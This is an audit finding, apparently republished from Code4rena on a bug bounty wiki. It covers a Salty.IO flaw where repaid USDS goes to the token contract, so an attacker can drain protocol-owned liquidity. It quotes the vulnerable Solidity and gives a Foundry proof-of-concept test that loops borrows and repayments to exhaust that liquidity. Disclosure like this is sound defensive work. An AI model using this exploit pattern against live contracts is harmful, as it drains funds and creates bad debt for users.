When borrowers repay USDS, it is sent to the wrong address, allowing anyone to burn Protocol Owned Liquidity and build bad debt for USDS
When a borrower repays USDS, the tokens are sent to the USDS token contract instead of the Liquidizer contract, so the Liquidizer's balance never increases even though its burnable-USDS counter does. An attacker can repeatedly borrow and repay to inflate that counter, forcing the protocol to sell its own liquidity to cover the shortfall and eventually leaving bad debt uncovered.
nonseodion Follow with Toshii, lanrebayode77 and 23 others
Originally disclosed on Code4rena
Submitted by nonseodion, also found by Toshii, lanrebayode77, Aymen0909, KingNFT, juancito, 00xSEV, fnanni, oakcobalt, chaduke, israeladelaja, Ephraim, zach (1, 2), Drynooo, solmaxis69, pkqs90, wangxx2026, ether_sky, 0x3b, LeoGold, Jorgect, 0xAlix2, 0xRobocop, 0xanmol, djxploit, ayden, and klau5
When a user repays the USDS he has borrowed, it is taken from him and kept for burning. The Liquidizer contract is updated with the new amount repaid. The USDS is burnt whenever the performUpkeep function is called on Liquidizer by the Upkeep contract during upkeep.
The USDS collected is sent to the USDS contract which can be burned whenever burnTokensInContract is called. The amount of USDS to be burnt in the Liquidizer contract is also increased by the incrementBurnableUSDS call. This increases the usdsThatShouldBeBurned variable on the Liquidizer.
function repayUSDS( uint256 amountRepaid ) external nonReentrant{
...
usds.safeTransferFrom(msg.sender, address(usds), amountRepaid);
// Have USDS remember that the USDS should be burned
liquidizer.incrementBurnableUSDS( amountRepaid );
...
}
During upkeep, the Liquidizer first checks if it has enough USDS balance to burn i.e usdsBalance >= usdsThatShouldBeBurned. If it does it burns them else it converts Protocol Owned Liquidity (POL) to USDS and burns it to cover the deficit. Burning POL allows the protocol to cover bad debt from liquidation.
function _possiblyBurnUSDS() internal{
...
uint256 usdsBalance = usds.balanceOf(address(this));
if ( usdsBalance >= usdsThatShouldBeBurned )
{
// Burn only up to usdsThatShouldBeBurned.
// Leftover USDS will be kept in this contract in case it needs to be burned later.
_burnUSDS( usdsThatShouldBeBurned );
usdsThatShouldBeBurned = 0;
}
else
{
// The entire usdsBalance will be burned - but there will still be an outstanding balance to burn later
_burnUSDS( usdsBalance );
usdsThatShouldBeBurned -= usdsBalance;
// As there is a shortfall in the amount of USDS that can be burned, liquidate some Protocol Owned Liquidity and
// send the underlying tokens here to be swapped to USDS
dao.withdrawPOL(salt, usds, PERCENT_POL_TO_WITHDRAW);
dao.withdrawPOL(dai, usds, PERCENT_POL_TO_WITHDRAW);
}
}
Since the usdsThatShouldBeBurned variable will always be increased without increasing the Liquidizer balance, it will always sell POL to cover the increase.
If the POL is exhausted, the protocol cannot cover bad debt generated from liquidations. This will affect the price of USDS negatively.
An attacker can borrow and repay multiple times to exhaust POL and create bad debt or it could just be done over time as users repay their USDS.
Impact
This will affect the price of USDS negatively.
Proof of Concept
This test can be run in CollateralAndLiquidity.t.sol.
function testBurnPOL() public {
// setup
vm.prank(address(collateralAndLiquidity));
usds.mintTo(address(dao), 20000 ether);
vm.prank(address(teamVestingWallet));
salt.transfer(address(dao), 10000 ether);
vm.prank(DEPLOYER);
dai.transfer(address(dao), 10000 ether);
// create Protocol Owned Liquidity (POL)
vm.startPrank(address(dao));
collateralAndLiquidity.depositLiquidityAndIncreaseShare(salt, usds, 10000 ether, 10000 ether, 0, block.timestamp, false );
collateralAndLiquidity.depositLiquidityAndIncreaseShare(dai, usds, 10000 ether, 10000 ether, 0, block.timestamp, false );
vm.stopPrank();
bytes32 poolIDA = PoolUtils._poolID(salt, usds);
bytes32 poolIDB = PoolUtils._poolID(dai, usds);
assertEq( collateralAndLiquidity.userShareForPool(address(dao), poolIDA), 20000 ether);
assertEq( collateralAndLiquidity.userShareForPool(address(dao), poolIDB), 20000 ether);
// Alice deposits collateral
vm.startPrank(address(alice));
wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
weth.approve(address(collateralAndLiquidity), type(uint256).max);
collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtc.balanceOf(alice), weth.balanceOf(alice), 0, block.timestamp, true );
// Alice performs multiple borrows and repayments, increasing the
// usdsThatShouldBeBurned variable in Liquidizer
for (uint i; i < 100; i++){
vm.startPrank(alice);
uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
collateralAndLiquidity.borrowUSDS( maxUSDS );
uint256 borrowed = collateralAndLiquidity.usdsBorrowedByUsers(alice);
collateralAndLiquidity.repayUSDS(borrowed);
}
vm.startPrank(address(upkeep));
// perform upkeep multiple times to cover bad debt
// breaks when POL is exhausted
for(;;){
(, uint reserve1) = pools.getPoolReserves(dai, usds);
if(reserve1 * 99 / 100 < 100) break;
liquidizer.performUpkeep();
}
assertGt(liquidizer.usdsThatShouldBeBurned(), usds.balanceOf(address(liquidizer)));
}
Recommended Mitigation Steps
Send the repaid USDS to the Liquidizer.
othernet-global (Salty.IO) confirmed and commented:
The stablecoin framework: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS have been removed:
https://github.com/othernet-global/salty-io/commit/88b7fd1f3f5e037a155424a85275efd79f3e9bf9
Status: Mitigation confirmed. Full details in reports from 0xpiken, zzebra83, and t0x1c.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The repayUSDS function transfers the repaid USDS to the USDS token contract address rather than to the Liquidizer contract, so the Liquidizer's balance is never credited while its usdsThatShouldBeBurned counter is incremented.
Impact
The protocol's own liquidity can be drained and bad debt from liquidations may go uncovered, which could push down the price of USDS.
What the attacker needed
Ability to borrow and repay USDS; protocol has POL in SALT/USDS and DAI/USDS pools; upkeep is called to trigger burns
The fix
The repaid USDS should be sent to the Liquidizer contract instead of the USDS token contract; the team later removed the stablecoin framework entirely.
How it was found
- Set up Protocol Owned Liquidity by depositing SALT/USDS and DAI/USDS pools from the DAO.
- Alice deposits WBTC and WETH collateral.
- Alice repeatedly borrows the maximum USDS and repays it, inflating usdsThatShouldBeBurned in the Liquidizer.
- Upkeep is called repeatedly, each time withdrawing POL to cover the shortfall, until POL is exhausted.
- The test asserts that usdsThatShouldBeBurned exceeds the Liquidizer's USDS balance.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
USDS is a stablecoin issued by the protocol. When someone repays a loan, the protocol is supposed to keep that USDS in a pot (the Liquidizer) and later burn it. Instead, the repayment goes straight to the USDS token contract, so the pot stays empty while the protocol still thinks it owes a burn. To make up the difference, the protocol sells its own investments (Protocol Owned Liquidity), and an attacker can trigger this repeatedly until those investments run out.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.